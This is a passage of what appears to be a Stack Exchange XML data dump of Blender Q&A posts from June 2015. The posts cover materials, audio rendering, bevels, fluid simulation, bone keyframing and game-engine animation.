visible at the &lt;em&gt;very start&lt;/em&gt; rather than when it is supposed to be?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-06-11T05:10:33.543" LastActivityDate="2015-06-11T07:34:41.830" Title="Why are objects visible when set not to be?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32244" PostTypeId="1" CreationDate="2015-06-10T22:51:43.763" Score="1" ViewCount="112" Body="&lt;p&gt;I am making a Banner for a friend, I have it mirrored and pretty, Same text twice, The main one with bevels and Glass. The one behind it as an Emission source for light to get a nice reflection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is the problem, I was wondering why it wasn't detailed, When I move back and fourth between the two Text items, They keep moving the properties! Example, I change the color of the Emission text, Suddenly the Glass text isn't glass but it also has Emission property now, For some reason when I change anything on one, It changes in the other.&lt;/p&gt;&#xA;" OwnerUserId="14920" LastEditorUserId="2217" LastEditDate="2015-06-10T23:38:15.847" LastActivityDate="2015-06-14T21:19:57.720" Title="Changing a material effects both text objects" Tags="&lt;materials&gt;&lt;linked-data&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32245" PostTypeId="1" CreationDate="2015-06-10T22:59:02.410" Score="2" ViewCount="2585" Body="&lt;p&gt;This is probably an easy fix but I can't figure it out. I'm trying to render the audio with my video along with my video and when I play the video on the media player, I can't hear ANY audio. I've been looking at youtube videos but none of the videos have the same version of Blender as I do. Can Blender render both the audio and video at the same time?&lt;/p&gt;&#xA;" OwnerUserId="14921" LastActivityDate="2015-09-08T15:39:34.670" Title="I can't render audio with my video" Tags="&lt;rendering&gt;&lt;editing&gt;&lt;video&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32246" PostTypeId="1" AcceptedAnswerId="32252" CreationDate="2015-06-10T23:16:25.430" Score="5" ViewCount="441" Body="&lt;p&gt;I can't get an acceptable bevel, is there any way to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W8KO1.gif&quot; alt=&quot;Bevel, complex mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14922" LastEditorUserId="599" LastEditDate="2015-06-11T06:27:31.223" LastActivityDate="2015-06-11T06:27:31.223" Title="How to bevel edges next to ngons?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32247" PostTypeId="2" ParentId="32245" CreationDate="2015-06-10T23:21:03.757" Score="1" Body="&lt;p&gt;In properties/encoding find &quot;Audio codec:&quot;. It should read something other than &quot;none&quot;. Make sure it's set to a format that's compatible with what you selected in &quot;Format&quot; and properties/output. This three should make sense when combined. &#xA;It would help a lot :) if you included in your question information such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blender version  &lt;/li&gt;&#xA;&lt;li&gt;The content of the sections above (i.e. format of&#xA;   your video and audio)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's a similar question:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/21278/no-audio-output-in-rendered-video-file&quot;&gt;No audio output in rendered video file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14923" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-09T17:27:37.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32248" PostTypeId="2" ParentId="32244" CreationDate="2015-06-11T00:05:27.863" Score="4" Body="&lt;p&gt;Most likely this is because both text objects are assigned the same material (this could happen if you duplicated one from the other).  If a material (or any other datablock, i.e. particle system, image, etc.) has multiple users it will display the number of users in a small box to the right of the material name.  To make a single user copy of the material simply click on that box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/na3YL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The material &lt;code&gt;&quot;Material&quot;&lt;/code&gt; has 2 users, clicking on the &lt;kbd&gt;2&lt;/kbd&gt; box will create a new material with all the same properties and name it &lt;code&gt;&quot;Material.000&quot;&lt;/code&gt;.  Changing this new material will not affect the original material &lt;code&gt;&quot;Material&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-06-14T21:19:57.720" LastActivityDate="2015-06-14T21:19:57.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32250" PostTypeId="1" CreationDate="2015-06-11T00:13:41.647" Score="5" ViewCount="359" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bq8DW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I might control the number of edges in the &quot;X&quot; direction for this surface? The edges in &quot;Y&quot; axis are controlled by the &quot;Float series count&quot;&lt;/p&gt;&#xA;" OwnerUserId="14926" LastEditorUserId="241" LastEditDate="2020-01-21T18:46:09.263" LastActivityDate="2020-01-21T18:46:09.263" Title="controlling the number of edges in a &quot;object in curve&quot; (Sverchok)" Tags="&lt;nodes&gt;&lt;add-on&gt;&lt;sverchok&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32251" PostTypeId="1" AcceptedAnswerId="32255" CreationDate="2015-06-11T00:29:54.233" Score="1" ViewCount="2216" Body="&lt;p&gt;Is anyone else having a problem with the fluid sim not working?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried many times to simply take the default cube and turn it into a fluid domain and nothing happens much less adding fluid or outflow objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://1drv.ms/1IHhDNF&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the .blend file but there isn't much to it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something really simple here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried GPU, CPU, supported, experimental, even the 2.75 test build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="7826" LastEditorUserId="599" LastEditDate="2015-06-11T06:29:38.867" LastActivityDate="2015-06-11T06:29:38.867" Title="Fluid flow object does not generate any fluid" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32252" PostTypeId="2" ParentId="32246" CreationDate="2015-06-11T00:39:01.370" Score="4" Body="&lt;p&gt;You need to have an inner edge loop on the top side of the edge in order for the bevel tool to work properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You either need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all the vertical side faces and extrude outward along their normals &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Delete some of the top faces that connect to the corner&#xA;edge. Then you can extrude the corner edge in slightly to achieve&#xA;the inner edge loop.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-11T00:44:30.647" LastActivityDate="2015-06-11T00:44:30.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32253" PostTypeId="2" ParentId="32250" CreationDate="2015-06-11T01:02:59.430" Score="1" Body="&lt;p&gt;You can use the List-Item node with Int Range which will delete some points along the X axis depending on the step you set in the Int Range node :  ( change the step to get different results )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gy2j2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-06-11T02:39:02.120" LastActivityDate="2015-06-11T02:39:02.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32254" PostTypeId="1" AcceptedAnswerId="32307" CreationDate="2015-06-11T01:11:12.747" Score="5" ViewCount="155" Body="&lt;p&gt;I've been looking around, and I haven't found any good explanations on what each of the sockets from the Texture Coordinate Node does.  Can somebody please explain this?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-11T20:58:23.353" Title="Functions of the Texutre Coordinate Node" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32255" PostTypeId="2" ParentId="32251" CreationDate="2015-06-11T01:14:34.940" Score="3" Body="&lt;p&gt;Outflow will not produce any fluid so you should use Inflow or Fluid type object inside the domain , also you should bake the fluid simulation to see the results :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tmQnF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-06-11T01:14:34.940" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32257" PostTypeId="2" ParentId="29239" CreationDate="2015-06-11T02:38:16.363" Score="3" Body="&lt;p&gt;You can create an object of a shape similar to your floating object (bowl, boat, whatever) but lower-poly. Then select your ocean object and add a Boolean Modifier. The Operation mode should be set to Difference, and the Object slot should of course be set to your low-poly boolean object. Normals must be facing the correct directions or you'll get unexpected results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot of my test doing this with a simple cylinder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XKPew.png&quot; alt=&quot;Object with a subtractive boolean on an ocean&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there are just a few more things to do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Prevent this boolean object from being rendered.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can do this by finding the object in the Outliner and turning off visibility for the render, and for the viewport if you like (although this makes it no longer selectable). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my screen shot I have set the Maximum Draw Type to Wire, and that's why I can still see and select my boolean object. However this leaves it visible during viewport rendering, so to fix that I simply gave it a material with a Transparent shader (with the color set to white for full transparency).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Parent it to your original floating object, so it moves with it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Pretty straightforward. Select your boolean object, then select your floating object and press [Ctrl P]. Set Parent to Object.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Fix possible issues with ugly shading on the geometry of your ocean where it touches the boolean object.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With your ocean object selected, navigate to the Mesh Tab. Check the box for &quot;Auto Smooth&quot;. Also, in the Tools panel set the object's Shading to Smooth.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-06-11T02:38:16.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32258" PostTypeId="1" CreationDate="2015-06-11T02:59:47.580" Score="0" ViewCount="114" Body="&lt;p&gt;I have a scene consisting of multiple objects, some of which are objects incorporated in the scene. The other objects are not incorporated in the scene, for example, the lamps, the cameras and certain objects I call &quot;helper geometry&quot;. Examples of helper geometry include plane objects onto which a reference image is textured, and cube objects of defined size to use as a quick aid to setting exact sizes of other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to have the object(s) upon which I am actively working in edit mode, wireframe view, other objects which are useful as references in solid view, and the reference geometry objects--especially those textured with reference images--in textured view. How can this be achieved?  &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-11T07:47:54.427" Title="Is it possible to use different object interaction display modes on different objects in the same scene?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;&lt;normals&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32259" PostTypeId="2" ParentId="32258" CreationDate="2015-06-11T02:59:47.580" Score="0" Body="&lt;p&gt;One way to achieve part of this effect is by manipulating normals. Imagine a reference image of an object whose geometry is to be modeled, for example a horse drawn wagon. Create a plane object, and a textured material where the reference image is the texture assigned to the plane (or activate the &quot;import images as planes&quot; addon.) Start modeling using the usual methods, but every time a face is created, set the normal to that face so that it faces towards the reference image. Now, looking at the model towards the reference image, the reference image is visible through the model. This will work until something better happens along.    &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-06-11T02:59:47.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32262" PostTypeId="1" CreationDate="2015-06-11T06:30:02.647" Score="2" ViewCount="379" Body="&lt;p&gt;I am trying to get a collision and friction between hair particles but I couldn't find a way to do it. Can anybody help with these test files please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s5AOe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/262/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=262&quot; /&gt;&lt;/a&gt;&#xA;Reference: &#xA;&lt;a href=&quot;https://www.youtube.com/watch?t=17&amp;amp;v=1zdgV_oiJMU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?t=17&amp;amp;v=1zdgV_oiJMU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11068" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2017-10-03T20:27:42.603" Title="How does hair particle friction work?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32263" PostTypeId="1" CreationDate="2015-06-11T06:56:49.433" Score="2" ViewCount="1500" Body="&lt;p&gt;I have frame 16 selected in the animation timeline, I am in pose mode trying to rotate a bone. Automatic keyframe insertion is selected, so when I rotate a bone the keyframe is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the bone reverts to its initial position after I left click to confirm. If I change the values manually in the properties panel then it works, but that takes a long time. In the properties panel, the text areas for all the values are yellow instead of white.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tutorial I am watching he just rotates and clicks, and the keyframe is created with the correct new rotate values. I am doing the same thing and it won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/qb8mpy7x5vt4cvw/boneswontmove.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/qb8mpy7x5vt4cvw/boneswontmove.blend?dl=0&lt;/a&gt;&#xA;There is a link to the .blend file in case anybody would take a minute to look at this, i'm sure any of you would instantly know what the problem is. Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[SOLVED]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution found on my thread &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?373618-Cannot-move-bones-in-pose-mode-with-mouse&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply select the armature, go into the object properties panel, and set the duplication to none.&lt;/p&gt;&#xA;" OwnerUserId="14931" LastEditorUserId="3078" LastEditDate="2015-06-15T19:56:06.243" LastActivityDate="2015-06-15T19:56:06.243" Title="Why can I not move bones in pose mode with mouse?" Tags="&lt;animation&gt;&lt;bones&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32264" PostTypeId="1" CreationDate="2015-06-11T07:22:04.453" Score="2" ViewCount="13223" Body="&lt;p&gt;can anybody tell me I tried to add sound effect of a chain falling in the floor in Blender? I tried it many time and it seems I did it in the wrong way! please help.&lt;/p&gt;&#xA;" OwnerUserId="14932" LastActivityDate="2016-04-19T13:08:23.393" Title="Adding sound in Blender" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ClosedDate="2017-02-07T01:28:27.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="32265" PostTypeId="1" CreationDate="2015-06-11T07:33:07.940" Score="5" ViewCount="426" Body="&lt;p&gt;To make this simple I have a &lt;a href=&quot;http://www.pasteall.org/blend/36494&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt; that you can look at. I have simple logic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When the prop &quot;Active&quot; is true, our object is visible. When false, invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) When Spacebar is hit, &quot;Active&quot; becomes true, and an animation is played.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a problem with this: when active becomes true &lt;em&gt;and&lt;/em&gt; the animation is played (spacebar is hit),  &lt;strong&gt;you can see the last frame of the animation at the very &lt;em&gt;start&lt;/em&gt; when spacebar is hit, &lt;em&gt;then&lt;/em&gt; the animation plays.&lt;/strong&gt; This seems like a simple error that can be fixed easily. I just need the animation to be played &lt;em&gt;and&lt;/em&gt; the object to become visible, not both of those &lt;em&gt;and&lt;/em&gt; a random frame to be displayed. If it seems confusing, look at the .blend I provided. Any help is appreciated, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; It is not the version of the engine for further detail. The simple issue can be fixed by updating the engine. I made this new .blend, which can be found &lt;a href=&quot;http://www.pasteall.org/blend/38335&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; containing very similar logic to my scene. The visibility and the action happen &lt;em&gt;at the same time&lt;/em&gt;, yet, visibility acts first. Open the .blend, hit 2 to make &quot;active&quot; false, then hit 1 to make it true. All you do is hit 2 and 1 with the new .blend, space bar was removed as I tried to replicate my scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT #2&lt;/strong&gt;: I just figured out the real reason. It's not the visibility. It's the animation itself. The visibility has &lt;em&gt;nothing&lt;/em&gt; to do with my scenario. The timing is right, the visibility is occurring as created and implemented. So why is this happening? I changed the animation to work on a property, and it seems that, when you restart the animation, &lt;em&gt;it slips in one frame of the &lt;strong&gt;original&lt;/strong&gt; object&lt;/em&gt;. It &lt;em&gt;ignores&lt;/em&gt; the property for &lt;em&gt;one&lt;/em&gt; frame, right before you restart the animation. It doesn't show the end/start off the animation, but the object's original position. How would I know this? I changed the last frame and the first frame separately, and it doesn't &quot;flash&quot; to any of those. It &quot;flashes&quot; to the original object position &lt;em&gt;ignoring&lt;/em&gt; the animations. What have we concluded? it is the animation itself that causes the issue. When the animation resets, it resets properly but slips in one frame that is not needed, in fact, &lt;em&gt;not even a part of the property that &lt;strong&gt;controls&lt;/strong&gt; the animation&lt;/em&gt;. It seems to be a bug in the engine, but I am not certain. Thanks for all the help though, looking to solve this ASAP. ;)&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2015-10-01T01:42:21.063" LastActivityDate="2015-10-01T01:42:21.063" Title="Animation showing last frame when played?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;rigging&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="32266" PostTypeId="2" ParentId="32243" CreationDate="2015-06-11T07:34:41.830" Score="1" Body="&lt;p&gt;For anyone that had this issue, I just made our prop &quot;active&quot; set to true &lt;strong&gt;by default.&lt;/strong&gt; I do not know why this is the case, but it is.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-06-11T07:34:41.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32267" PostTypeId="2" ParentId="32263" CreationDate="2015-06-11T07:41:52.020" Score="2" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dv0PU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you enabled auto key only for location: the image shows the correct combination for inserting location, rotation and scale keyframes every time you move a bone in a frame.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="13752" LastEditDate="2015-06-11T11:50:37.807" LastActivityDate="2015-06-11T11:50:37.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32268" PostTypeId="2" ParentId="32258" CreationDate="2015-06-11T07:47:54.427" Score="1" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUcLt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;Display&quot; tab of the properties panel you can choose, for each object, the maximum draw Type: textured, solid, wireframe.&#xA;This can help.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-11T07:47:54.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32270" PostTypeId="1" CreationDate="2015-06-11T08:28:00.483" Score="0" ViewCount="128" Body="&lt;p&gt;How can I import SW part to blender? &#xA;It says VRML and python code, I can't import it that way. I am using blender 2.74&#xA;How to proceed?&lt;/p&gt;&#xA;" OwnerUserId="14934" LastEditorUserId="2217" LastEditDate="2015-06-11T15:51:20.597" LastActivityDate="2015-06-11T15:51:20.597" Title="Import sw parts to blender" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32272" PostTypeId="1" AcceptedAnswerId="32289" CreationDate="2015-06-11T09:49:16.133" Score="4" ViewCount="248" Body="&lt;p&gt;I'm a bit new to cycles shaders, so I'm going about this a bit blindly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried mixing a few shaders, and it works in the rendered viewport, but not in the full render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make spaceship thrusters. It should start emitting  brightly, and then gradually fade to transparent. I've tried both particles, and volumes, but neither worked well for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zULdg.png&quot; alt=&quot;Shader program&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the (expected) 3D View rendered result (left) and the actual (incorrect) rendered result (right):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9UjDh.png&quot; alt=&quot;Shader output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.filedropper.com/test-neilos&quot; rel=&quot;nofollow noreferrer&quot;&gt;The .blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I was able to get it to work by switching to CPU from GPU.&lt;/p&gt;&#xA;" OwnerUserId="14935" LastEditorUserId="47" LastEditDate="2015-06-13T06:02:35.560" LastActivityDate="2015-06-13T06:02:35.560" Title="Emission and Transparant mixture works in 3D View but not in Render" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32275" PostTypeId="2" ParentId="32264" CreationDate="2015-06-11T10:49:05.680" Score="8" Body="&lt;p&gt;Sound can be added in the video sequence editor. Go to the video sequence editor, press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;, click sound, and select the sound file you want to add.&#xA;Remember to change the audio codec, found under the &lt;em&gt;Encoding&lt;/em&gt; scroll in the &lt;em&gt;Render&lt;/em&gt; tab, from &quot;none&quot; to one of the other options.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dXMIq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14937" LastEditorUserId="1245" LastEditDate="2015-06-11T14:56:33.997" LastActivityDate="2015-06-11T14:56:33.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32276" PostTypeId="2" ParentId="7729" CreationDate="2015-06-11T12:27:38.807" Score="20" Body="&lt;p&gt;Since version 2.76 there is a flatten faces tool:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Mesh -&gt; Cleanup -&gt; Make Planar Faces&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2018-07-01T20:51:59.307" LastActivityDate="2018-07-01T20:51:59.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32277" PostTypeId="1" CreationDate="2015-06-11T12:40:06.207" Score="2" ViewCount="312" Body="&lt;p&gt;I need a few urban and environmental textures (concrete, stone, bark, dirt, ...) and I plan to create them myself. After I make the textures how can I place them on large objects in Blender to preserve high resolution but still reduce the repetitive effect in the resulting renders? &lt;/p&gt;&#xA;" OwnerUserId="14688" LastEditorUserId="3401" LastEditDate="2015-06-11T17:36:37.587" LastActivityDate="2016-04-07T06:53:22.750" Title="How do I reduce tesselation effect with textures?" Tags="&lt;texturing&gt;&lt;light&gt;" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32279" PostTypeId="1" CreationDate="2015-06-11T14:17:44.940" Score="4" ViewCount="74" Body="&lt;p&gt;I'm using Blender for 4/5 weeks now, so, after learing the basics of modeling (i'm still not even decent), now i'm having some issues with &lt;strong&gt;&lt;em&gt;Render Setup&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Lights Setup&lt;/em&gt;&lt;/strong&gt;, and i hope someone can help me out! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. The Lightbulb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've modeled a really simple dog-character for an upcoming work. Having a lightbulb for head, i need it to emit some glow/light. I need a result which looks like the FIG. 2 (lights are made with PS), while the one i'm having now in Cycles is kinda flat FIG. 1&#xA;What's the best way to achieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O4QTw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Render Setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if my scene is almost...empty (1 model, 2 lights) seems like my Pc is working really hard (and slowly) to manage it, both in 3d view and rendering session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Windows 8 - &#xA;AMD Phenom II X4core 965 Processor &#xA; - NVIDIA GeForce GTX 560 Ti &#xA; -  8GB RAM&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a beast, but still decent enough for a project like this, i suppose.&#xA;(and i'm not forcing it, since render is still really noisy)&#xA;Since i'm supposed to build a scenario and rig/animate character, having a &lt;strong&gt;&lt;em&gt;17/20 minute render time&lt;/em&gt;&lt;/strong&gt; (for a frame) is really discouraging me :(&#xA;I've attached the Blender file, to see how i've set the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong with it? Am I doing something wrong with modeling or scene general setup? How can i have to speed up the render? Any suggestion will be very appreciated! :&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/a3my92bj5emz3k2/Promise.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Promise.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14942" LastEditorUserId="3078" LastEditDate="2015-06-11T16:56:18.510" LastActivityDate="2015-06-11T16:56:18.510" Title="How can I make an object emit light in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-11T19:03:13.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="32280" PostTypeId="1" CreationDate="2015-06-11T14:38:55.020" Score="2" ViewCount="536" Body="&lt;p&gt;I misuse Blender as one possible editor for a 3D simulation program. The 3D simulation program also has other ways to create and modify geometries, among them are CSG operations. If there were a file format supporting CSG operations, then I could export to that format for visualization with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender 2.71 offers the following import formats&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Collada (Default) (.dae)&lt;/li&gt;&#xA;&lt;li&gt;Motion Capture (.bvh)&lt;/li&gt;&#xA;&lt;li&gt;Scalable Vector Graphics (.svg)&lt;/li&gt;&#xA;&lt;li&gt;Stanford (.ply)&lt;/li&gt;&#xA;&lt;li&gt;Stl (.stl)&lt;/li&gt;&#xA;&lt;li&gt;3D Studio (.3ds)&lt;/li&gt;&#xA;&lt;li&gt;Autodesk FBX (.fbx)&lt;/li&gt;&#xA;&lt;li&gt;Wavefront (.obj)&lt;/li&gt;&#xA;&lt;li&gt;X3D Extensible 3D (.x3d/.wrl)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that .dae, .ply, .3ds, .stl, and .obj 